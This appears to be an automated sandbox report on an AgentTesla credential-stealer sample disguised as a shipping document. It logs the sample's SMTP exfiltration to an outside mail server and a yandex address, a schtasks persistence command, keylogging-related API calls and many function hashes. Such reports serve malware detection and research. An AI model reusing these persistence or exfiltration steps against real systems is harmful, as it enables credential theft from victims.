Jan 27, 2021 15:40:38.577860117 CET	49745	587	192.168.2.3	162.215.249.91	AUTH login cG1AdW5pcXVlLXNraWxsLmNvbQ==
Jan 27, 2021 15:40:38.763447046 CET	587	49745	162.215.249.91	192.168.2.3	334 UGFzc3dvcmQ6
Jan 27, 2021 15:40:38.953967094 CET	587	49745	162.215.249.91	192.168.2.3	235 Authentication succeeded
Jan 27, 2021 15:40:38.958499908 CET	49745	587	192.168.2.3	162.215.249.91	MAIL FROM:<pm@unique-skill.com>
Jan 27, 2021 15:40:39.144212961 CET	587	49745	162.215.249.91	192.168.2.3	250 OK
Jan 27, 2021 15:40:39.144929886 CET	49745	587	192.168.2.3	162.215.249.91	RCPT TO:<mpdolx@yandex.com>
Jan 27, 2021 15:40:39.381092072 CET	587	49745	162.215.249.91	192.168.2.3	250 Accepted
Jan 27, 2021 15:40:39.381411076 CET	49745	587	192.168.2.3	162.215.249.91	DATA
Jan 27, 2021 15:40:39.566694975 CET	587	49745	162.215.249.91	192.168.2.3	354 Enter message, ending with "." on a line by itself
Jan 27, 2021 15:40:39.575015068 CET	49745	587	192.168.2.3	162.215.249.91	.
Jan 27, 2021 15:40:39.760638952 CET	587	49745	162.215.249.91	192.168.2.3	250 OK id=1l4lzr-000fvO-Fq

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: BL Draft Copy #747470.exe PID: 6844 Parent PID: 5640

General

Start time:	15:38:45
Start date:	27/01/2021
Path:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\BL Draft Copy #747470.exe'
Imagebase:	0xe0000
File size:	878592 bytes
MD5 hash:	125158A5CEC004BA7EE2910B6A835292
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.226479893.00000000025B4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.226895744.0000000003622000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.226756558.0000000003539000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.226386287.0000000002531000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: schtasks.exe PID: 6936 Parent PID: 6844

General

Start time:	15:38:49
Start date:	27/01/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\myAHtoyS' /XML 'C:\Users\user\AppData\Local\Temp\tmpCBE8.tmp'
Imagebase:	0x1110000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6948 Parent PID: 6936

General

Start time:	15:38:49
Start date:	27/01/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: BL Draft Copy #747470.exe PID: 6984 Parent PID: 6844

General

Start time:	15:38:50
Start date:	27/01/2021
Path:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
Imagebase:	0xc00000
File size:	878592 bytes
MD5 hash:	125158A5CEC004BA7EE2910B6A835292
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.601678251.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.608658254.0000000002FA1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: BL Draft Copy #747470.exe PID: 6844 Parent PID: 5640 BL Draft Copy #747470.exeCOMMON

Executed Functions

Function 00A7D4A0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.225959434.0000000000A7D000.00000040.00000001.sdmp, Offset: 00A7D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb90ac74bbcf513185ec201240f51811fe85a98cce3aaad80017a0b2907397bf
Instruction ID: 4f89193964e2ad4445ac633f0e14074437161df5c8e98b8f5767f4eb042b6fe6
Opcode Fuzzy Hash: eb90ac74bbcf513185ec201240f51811fe85a98cce3aaad80017a0b2907397bf
Instruction Fuzzy Hash: 772103B2504240DFDB05CF14D9C0B66BF75FF88328F24C569E90A4B246C336E845DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A7D3B4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.225959434.0000000000A7D000.00000040.00000001.sdmp, Offset: 00A7D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb48ba08113c16f2c8c6805235d54fb321acf5a9399a16169db18196457acad5
Instruction ID: 4f692d6d5779f3ab828cea1de576fa8779b60454639cb6787535393369785ebc
Opcode Fuzzy Hash: cb48ba08113c16f2c8c6805235d54fb321acf5a9399a16169db18196457acad5
Instruction Fuzzy Hash: DC21D3B2504240EFDB05DF14DDC0B56BB75FF98324F24C569E8095B246C336E856D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.226009647.0000000000A8D000.00000040.00000001.sdmp, Offset: 00A8D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da94a1a9f493c66c4eec4502f99346c03d72340de07c06b34aa152464b87e243
Instruction ID: 7af4e066963889ba56ed304a3fb0a92f42b7215fa38fd6d6700cf2591bfbc47c
Opcode Fuzzy Hash: da94a1a9f493c66c4eec4502f99346c03d72340de07c06b34aa152464b87e243
Instruction Fuzzy Hash: 8321F271504244EFDB14EF14D9C4B16BB75FB88328F24CA69D84A4B286C73AD846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D006, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.226009647.0000000000A8D000.00000040.00000001.sdmp, Offset: 00A8D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aecbcffba2566567b7a8a5420ab5787fa0bafa3d65ba43766f7f8ae314f7550
Instruction ID: 95d18c2a27d35593121b77eaaa21feff1b6cb093e862ee673f0921ab7c3c22b1
Opcode Fuzzy Hash: 1aecbcffba2566567b7a8a5420ab5787fa0bafa3d65ba43766f7f8ae314f7550
Instruction Fuzzy Hash: 6A219F754083809FDB02DF24D994B11BF71EB46314F28C5EAD8498F2A7C33A984ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A7D3AF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.225959434.0000000000A7D000.00000040.00000001.sdmp, Offset: 00A7D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 089f040691d95437d3e3945d9fc2aad68fd74f4be42516a5277ab229e787303f
Instruction ID: 1fa9806bf3c5c099aa4c1002e6da53ad9d4327839928090564bf8199c6d710db
Opcode Fuzzy Hash: 089f040691d95437d3e3945d9fc2aad68fd74f4be42516a5277ab229e787303f
Instruction Fuzzy Hash: 18119376504280DFDB15CF10D9C4B16BF71FF94324F28C6A9D8494B656C336E85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A7D49B, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.225959434.0000000000A7D000.00000040.00000001.sdmp, Offset: 00A7D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 089f040691d95437d3e3945d9fc2aad68fd74f4be42516a5277ab229e787303f
Instruction ID: f3cf614157e4380a93b7bde1cf40679f6b206b2fe23272596a2cb68e5dd85959
Opcode Fuzzy Hash: 089f040691d95437d3e3945d9fc2aad68fd74f4be42516a5277ab229e787303f
Instruction Fuzzy Hash: 2511B176804280CFDB16CF14D9C4B16BF72FF84324F28C6A9D8094B656C336D85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A7D731, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.225959434.0000000000A7D000.00000040.00000001.sdmp, Offset: 00A7D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b488d200bf5d4d5363ac805d3f15ad04853a2137a6ad4a44e0676fb962ec0b
Instruction ID: 54ee89de0b35930ab4b840152c234f1a067028d465250e1232bdd779199fb77b
Opcode Fuzzy Hash: 71b488d200bf5d4d5363ac805d3f15ad04853a2137a6ad4a44e0676fb962ec0b
Instruction Fuzzy Hash: 7B01F7715083549BEB144B25CD807A7BBB8EF40338F18C519ED095F242D3789C44C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A7D730, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.225959434.0000000000A7D000.00000040.00000001.sdmp, Offset: 00A7D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c5783f6ac36bc4d4198788ef37bad7ce4a813b6843f6cd94648c34839f5fac
Instruction ID: 271d20c9cc49b241715eaedaad989a35ef6d93d797531c55b032736d2383a5de
Opcode Fuzzy Hash: a5c5783f6ac36bc4d4198788ef37bad7ce4a813b6843f6cd94648c34839f5fac
Instruction Fuzzy Hash: B0F06271405254AFEB148B19CD84B63FFA8EF91734F18C55AED485F282D3799844CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: BL Draft Copy #747470.exe PID: 6984 Parent PID: 6844 BL Draft Copy #747470.exeCOMMON

Executed Functions

Function 01420A70, Relevance: 28.0, APIs: 18, Instructions: 984keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: b9d635efb99c20e5fd20fe5a514e150d372b4e90a9dfcfd6b2c255ec9053d1b4
Instruction ID: c5841c1868a7d3ce1b0fbfc9514bf6698e1766d2117de4289396aa95c76f6031
Opcode Fuzzy Hash: b9d635efb99c20e5fd20fe5a514e150d372b4e90a9dfcfd6b2c255ec9053d1b4
Instruction Fuzzy Hash: 04A21674A00228CFCB64EF20D85869DBBB6BF88205F5085EAD50AA3754DF359EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 014268B0, Relevance: .9, Instructions: 890COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a57e3be080052a5a0248832d6ab398ef312206cc3a08212bda42219fd625807
Instruction ID: 972dc51a3566c59060b2907d0c69d11488d06f42a5075e0eea0ad3172aec3a14
Opcode Fuzzy Hash: 1a57e3be080052a5a0248832d6ab398ef312206cc3a08212bda42219fd625807
Instruction Fuzzy Hash: 92823A30A00229DFCB15CF68C584AAEBBF2BF58315F56855AE905DB3A1DB30ED81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01425B45, Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b75a91927d6f2b9e23fe6a7b370d43fb77082f5846b781db27cdd275d1e59aa
Instruction ID: ad9703159dff611f9135b0966b47bd2e92c2f0511102ead787432be6dc1a7aed
Opcode Fuzzy Hash: 8b75a91927d6f2b9e23fe6a7b370d43fb77082f5846b781db27cdd275d1e59aa
Instruction Fuzzy Hash: 31127370A002199FDB14DFA8C854BAEBBB6FF88304F558569E916DB365DB30DC82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01426178, Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12777cdf27dcbdd0b3b8de311a219b419b9dd300bd396416c6f5656023fe3c5d
Instruction ID: 8c28b9ff5a4fad10ce4b79e46d20b2b4f3626f31194fb587e9d29280147cbf75
Opcode Fuzzy Hash: 12777cdf27dcbdd0b3b8de311a219b419b9dd300bd396416c6f5656023fe3c5d
Instruction Fuzzy Hash: 07024F70A00129DFDB15DF98D984AAEBBB6FF49304F56806AE905EB361D730DD81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01694750, Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf89d93005e385668045b4277c1d4837cd7970fc0978381bd2a826680d99c20
Instruction ID: a41b39f6ac342c44a53e31bc2a40910ada1801b754ab8f83b2ee488e54101c7b
Opcode Fuzzy Hash: ebf89d93005e385668045b4277c1d4837cd7970fc0978381bd2a826680d99c20
Instruction Fuzzy Hash: 0002C5F18217458BE718CF75E84E1893FA1B749318F51420AF2612FAE5DBB9188EEF44

Uniqueness

Uniqueness Score: -1.00%

Function 01694806, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.608461651.0000000001690000.00000040.00000001.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd43fa478a2ce3d42f7b8416a66098afa4a21ea7dd01c11cd2a8f14d1b89149
Instruction ID: 5025871bcc0bbeaf1ee673fa669e9a2a9d391b236bc54dd6823c292414ed4656
Opcode Fuzzy Hash: 2bd43fa478a2ce3d42f7b8416a66098afa4a21ea7dd01c11cd2a8f14d1b89149
Instruction Fuzzy Hash: C6D12AB18207458BD719CF75E84E1893FB1BB89318F51420AE1616FAD1DFB9188EEF84

Uniqueness

Uniqueness Score: -1.00%

Function 01420A91, Relevance: 26.1, APIs: 17, Instructions: 637keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: 91107a8a331acc1830a00ef017533812dda80fdcc03021af8647cd9c852b46a9
Instruction ID: bf9b20f74ec99c4d75202f91588a4e439bd068a46587516280ea69582645e6ba
Opcode Fuzzy Hash: 91107a8a331acc1830a00ef017533812dda80fdcc03021af8647cd9c852b46a9
Instruction Fuzzy Hash: D0620674A00228CFCB65EF20D85869DBBB6BF49205F5085EAD509A3740CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420AD6, Relevance: 26.1, APIs: 17, Instructions: 628keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: 44bbff295a7f79a2b29a5350b529727e999959aba44e67b63c3e64dd3e766225
Instruction ID: f09430b9f8b7b12a78e7a8b9118dbccb1c161194684bb09a4319f8721825d3ae
Opcode Fuzzy Hash: 44bbff295a7f79a2b29a5350b529727e999959aba44e67b63c3e64dd3e766225
Instruction Fuzzy Hash: 08521674A00228CFCB65EF20D85869DBBB6BF49205F6085EAD509A3740CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420B12, Relevance: 26.1, APIs: 17, Instructions: 621keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: c7055c184be0325ceed9d10434e735214dc20d6c72adda3670b1791efb8ec5b2
Instruction ID: 1093dd1cb5267c8c5e453890910335f1818cd6a0f76850a202809ee3ff1c4a74
Opcode Fuzzy Hash: c7055c184be0325ceed9d10434e735214dc20d6c72adda3670b1791efb8ec5b2
Instruction Fuzzy Hash: 45520674A00228CFCB65EF20D85869DBBB6BF49205F5085EAD509A3740CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420B4E, Relevance: 26.1, APIs: 17, Instructions: 616keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: e47ccfd1e50e4fa8e2843d129ca4935d4df97a57c0c2752283b4f8e94e77a16b
Instruction ID: 6f32ba9042471f0792d92dcdb3a0754270dc19d4e14afea8e4c7dbe784bcc257
Opcode Fuzzy Hash: e47ccfd1e50e4fa8e2843d129ca4935d4df97a57c0c2752283b4f8e94e77a16b
Instruction Fuzzy Hash: DC520674A00228CFCB65EF20D85869DBBB6BF49205F5085EAD509A3740CF35AEC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420B93, Relevance: 26.1, APIs: 17, Instructions: 609keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: 0fae3a80fec690111e93fad97d7aaf9f75cf02e505d9a3655924f68a03dc7581
Instruction ID: aa93ead6bd238f3fcb5bde265282028452475c52e7cb23e65599ee8e68bba07d
Opcode Fuzzy Hash: 0fae3a80fec690111e93fad97d7aaf9f75cf02e505d9a3655924f68a03dc7581
Instruction Fuzzy Hash: C7521674A00228CFCB65EF20D85869DBBB6BF49205F6085EAD509A3740CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420BD8, Relevance: 26.1, APIs: 17, Instructions: 602keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01420BFC
wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: DispatcherExceptionUser$ClassDisplayUnregister$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2756933573-0
Opcode ID: 4d3b5447a4a6966fadd865070799a2b1226576c5b9551530274c94c0639a9410
Instruction ID: 51c15d229d75a36f7ee32fe80e65def5990547ffdccbc59d93e21f8f6dc4fb92
Opcode Fuzzy Hash: 4d3b5447a4a6966fadd865070799a2b1226576c5b9551530274c94c0639a9410
Instruction Fuzzy Hash: E0520674A00228CFCB65AF20D85869DBBB6BF48205F5085EAD509A3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420C1D, Relevance: 24.6, APIs: 16, Instructions: 595keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

wvsprintfA.USER32 ref: 01420C41
GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDispatcherDisplayExceptionUnregisterUser$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindowwvsprintf
String ID:
API String ID: 2310937668-0
Opcode ID: 1c89e285593007ece4a341ff7dfb99db8d7e0ade8fbb3254303ffed69fa140a4
Instruction ID: 5502ad95b56e48381c98152bf003675d11b8fa8fa8255706692ebdc807a5973e
Opcode Fuzzy Hash: 1c89e285593007ece4a341ff7dfb99db8d7e0ade8fbb3254303ffed69fa140a4
Instruction Fuzzy Hash: DB520674A00228CFCB65AF30D85869DBBB6BF48205F5085EAD509A3744CF359EC6CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01420C62, Relevance: 23.1, APIs: 15, Instructions: 588keyboardlibrarywindowCOMMON

Download Yara Rule

APIs

GetUpdateRgn.USER32 ref: 01420C86
KiUserExceptionDispatcher.NTDLL ref: 01420D10
GetSystemMetrics.USER32 ref: 01420F81
KiUserExceptionDispatcher.NTDLL ref: 01420FC6
IsWindowArranged.USER32 ref: 0142110D
GetAsyncKeyState.USER32 ref: 01421197
UnregisterClassW.USER32 ref: 01421224
UnregisterClassW.USER32 ref: 0142126C
LoadMenuA.USER32 ref: 014212B4
QueryDisplayConfig.USER32 ref: 01421381
LdrInitializeThunk.NTDLL ref: 0142146F
GetSysColor.USER32 ref: 0142184D
ConsoleControl.USER32 ref: 014219B5
EnumDisplaySettingsExW.USER32 ref: 014219FD
DestroyReasons.USER32 ref: 01421BA1

Memory Dump Source

Source File: 00000003.00000002.608206122.0000000001420000.00000040.00000001.sdmp, Offset: 01420000, based on PE: false

Similarity

API ID: ClassDispatcherDisplayExceptionUnregisterUser$ArrangedAsyncColorConfigConsoleControlDestroyEnumInitializeLoadMenuMetricsQueryReasonsSettingsStateSystemThunkUpdateWindow
String ID:
API String ID: 4085132430-0
Opcode ID: 12807f4ec616aee65e13f9e391e0339a8f524a7470621a5574f583a7e7cc7b46
Instruction ID: 31cbda393b5caf6ed14aed4a73c5265d62b365a98c6ef33c4ac354a1494ce721
